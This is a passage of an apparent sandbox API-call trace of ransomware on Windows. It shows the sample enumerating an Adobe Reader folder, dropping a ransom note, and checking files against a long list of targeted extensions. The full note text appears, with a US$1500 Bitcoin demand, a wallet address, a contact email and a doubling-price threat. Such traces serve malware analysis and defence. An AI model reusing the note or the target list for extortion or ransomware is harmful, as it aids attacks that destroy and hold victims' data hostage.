ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.145] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.145] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.146] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.146] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.146] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.146] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.146] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.146] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.146] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*.*") returned="*.*" [0070.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" [0070.146] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="" [0070.146] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt" [0070.146] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\how to decrypt files.txt")) returned 0xffffffff [0070.146] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.147] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.147] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.148] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.148] CloseHandle (hObject=0x94) returned 1 [0070.148] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini" [0070.148] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.ems") returned 0 [0070.148] lstrlenA (lpString="*.ems") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.db") returned 0 [0070.149] lstrlenA (lpString="*.db") returned 4 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.dbf") returned 0 [0070.149] lstrlenA (lpString="*.dbf") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.myox") returned 0 [0070.149] lstrlenA (lpString="*.myox") returned 6 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.myo") returned 0 [0070.149] lstrlenA (lpString="*.myo") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qbw") returned 0 [0070.149] lstrlenA (lpString="*.qbw") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qbb") returned 0 [0070.149] lstrlenA (lpString="*.qbb") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qbm") returned 0 [0070.149] lstrlenA (lpString="*.qbm") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qbo") returned 0 [0070.149] lstrlenA (lpString="*.qbo") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qbx") returned 0 [0070.149] lstrlenA (lpString="*.qbx") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qba") returned 0 [0070.149] lstrlenA (lpString="*.qba") returned 5 [0070.149] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qby") returned 0 [0070.149] lstrlenA (lpString="*.qby") returned 5 [0070.150] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qbj") returned 0 [0070.150] lstrlenA (lpString="*.qbj") returned 5 [0070.150] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.ofx") returned 0 [0070.150] lstrlenA (lpString="*.ofx") returned 5 [0070.150] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.qif") returned 0 [0070.150] lstrlenA (lpString="*.qif") returned 5 [0070.150] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mye") returned 0 [0070.150] lstrlenA (lpString="*.mye") returned 5 [0070.150] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mbox") returned 0 [0070.150] lstrlenA (lpString="*.mbox") returned 6 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.eml") returned 0 [0070.151] lstrlenA (lpString="*.eml") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.pst") returned 0 [0070.151] lstrlenA (lpString="*.pst") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.ost") returned 0 [0070.151] lstrlenA (lpString="*.ost") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.idx") returned 0 [0070.151] lstrlenA (lpString="*.idx") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.dbx") returned 0 [0070.151] lstrlenA (lpString="*.dbx") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.sql") returned 0 [0070.151] lstrlenA (lpString="*.sql") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mdb") returned 0 [0070.151] lstrlenA (lpString="*.mdb") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.fdb") returned 0 [0070.151] lstrlenA (lpString="*.fdb") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.wab") returned 0 [0070.151] lstrlenA (lpString="*.wab") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.dat") returned 0 [0070.151] lstrlenA (lpString="*.dat") returned 5 [0070.151] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.txt") returned 0 [0070.151] lstrlenA (lpString="*.txt") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.152] lstrlenA (lpString="*.jpeg") returned 6 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.jpg") returned 0 [0070.152] lstrlenA (lpString="*.jpg") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.png") returned 0 [0070.152] lstrlenA (lpString="*.png") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.php") returned 0 [0070.152] lstrlenA (lpString="*.php") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.cs") returned 0 [0070.152] lstrlenA (lpString="*.cs") returned 4 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.cpp") returned 0 [0070.152] lstrlenA (lpString="*.cpp") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.rar") returned 0 [0070.152] lstrlenA (lpString="*.rar") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.zip") returned 0 [0070.152] lstrlenA (lpString="*.zip") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.html") returned 0 [0070.152] lstrlenA (lpString="*.html") returned 6 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.htm") returned 0 [0070.152] lstrlenA (lpString="*.htm") returned 5 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.152] lstrlenA (lpString="*.xlsx") returned 6 [0070.152] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.xls") returned 0 [0070.153] lstrlenA (lpString="*.xls") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mp4") returned 0 [0070.153] lstrlenA (lpString="*.mp4") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.ppt") returned 0 [0070.153] lstrlenA (lpString="*.ppt") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.pptx") returned 0 [0070.153] lstrlenA (lpString="*.pptx") returned 6 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.doc") returned 0 [0070.153] lstrlenA (lpString="*.doc") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.dot") returned 0 [0070.153] lstrlenA (lpString="*.dot") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.docx") returned 0 [0070.153] lstrlenA (lpString="*.docx") returned 6 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.7z") returned 0 [0070.153] lstrlenA (lpString="*.7z") returned 4 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.tar") returned 0 [0070.153] lstrlenA (lpString="*.tar") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.bz2") returned 0 [0070.153] lstrlenA (lpString="*.bz2") returned 5 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.gz") returned 0 [0070.153] lstrlenA (lpString="*.gz") returned 4 [0070.153] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mkv") returned 0 [0070.153] lstrlenA (lpString="*.mkv") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.eml") returned 0 [0070.154] lstrlenA (lpString="*.eml") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.msg") returned 0 [0070.154] lstrlenA (lpString="*.msg") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.edb") returned 0 [0070.154] lstrlenA (lpString="*.edb") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.accdb") returned 0 [0070.154] lstrlenA (lpString="*.accdb") returned 7 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.odb") returned 0 [0070.154] lstrlenA (lpString="*.odb") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.java") returned 0 [0070.154] lstrlenA (lpString="*.java") returned 6 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.asm") returned 0 [0070.154] lstrlenA (lpString="*.asm") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.pfx") returned 0 [0070.154] lstrlenA (lpString="*.pfx") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.pem") returned 0 [0070.154] lstrlenA (lpString="*.pem") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.p12") returned 0 [0070.154] lstrlenA (lpString="*.p12") returned 5 [0070.154] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.gpg") returned 0 [0070.154] lstrlenA (lpString="*.gpg") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.vsd") returned 0 [0070.155] lstrlenA (lpString="*.vsd") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.odg") returned 0 [0070.155] lstrlenA (lpString="*.odg") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.raw") returned 0 [0070.155] lstrlenA (lpString="*.raw") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.nef") returned 0 [0070.155] lstrlenA (lpString="*.nef") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.svg") returned 0 [0070.155] lstrlenA (lpString="*.svg") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.psd") returned 0 [0070.155] lstrlenA (lpString="*.psd") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.vmx") returned 0 [0070.155] lstrlenA (lpString="*.vmx") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.155] lstrlenA (lpString="*.vmdk") returned 6 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.vdi") returned 0 [0070.155] lstrlenA (lpString="*.vdi") returned 5 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.lay6") returned 0 [0070.155] lstrlenA (lpString="*.lay6") returned 6 [0070.155] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.155] lstrlenA (lpString="*.mpeg") returned 6 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.djvu") returned 0 [0070.156] lstrlenA (lpString="*.djvu") returned 6 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.tiff") returned 0 [0070.156] lstrlenA (lpString="*.tiff") returned 6 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.backup") returned 0 [0070.156] lstrlenA (lpString="*.backup") returned 8 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.pdf") returned 0 [0070.156] lstrlenA (lpString="*.pdf") returned 5 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.cert") returned 0 [0070.156] lstrlenA (lpString="*.cert") returned 6 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.docm") returned 0 [0070.156] lstrlenA (lpString="*.docm") returned 6 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.156] lstrlenA (lpString="*.xlsm") returned 6 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.dwg") returned 0 [0070.156] lstrlenA (lpString="*.dwg") returned 5 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.nd") returned 0 [0070.156] lstrlenA (lpString="*.nd") returned 4 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.tlg") returned 0 [0070.156] lstrlenA (lpString="*.tlg") returned 5 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.lgb") returned 0 [0070.156] lstrlenA (lpString="*.lgb") returned 5 [0070.156] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mov") returned 0 [0070.157] lstrlenA (lpString="*.mov") returned 5 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.xdw") returned 0 [0070.157] lstrlenA (lpString="*.xdw") returned 5 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.ods") returned 0 [0070.157] lstrlenA (lpString="*.ods") returned 5 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.wav") returned 0 [0070.157] lstrlenA (lpString="*.wav") returned 5 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.mp3") returned 0 [0070.157] lstrlenA (lpString="*.mp3") returned 5 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.aiff") returned 0 [0070.157] lstrlenA (lpString="*.aiff") returned 6 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.flac") returned 0 [0070.157] lstrlenA (lpString="*.flac") returned 6 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.m4a") returned 0 [0070.157] lstrlenA (lpString="*.m4a") returned 5 [0070.157] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini", pszSpec="*.csv") returned 0 [0070.157] lstrlenA (lpString="*.csv") returned 5 [0070.157] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.157] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.157] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.157] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini") returned="eula.ini" [0070.158] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" [0070.158] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="" [0070.158] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt" [0070.158] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\how to decrypt files.txt")) returned 0x20 [0070.158] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", lpString2="license.html" | 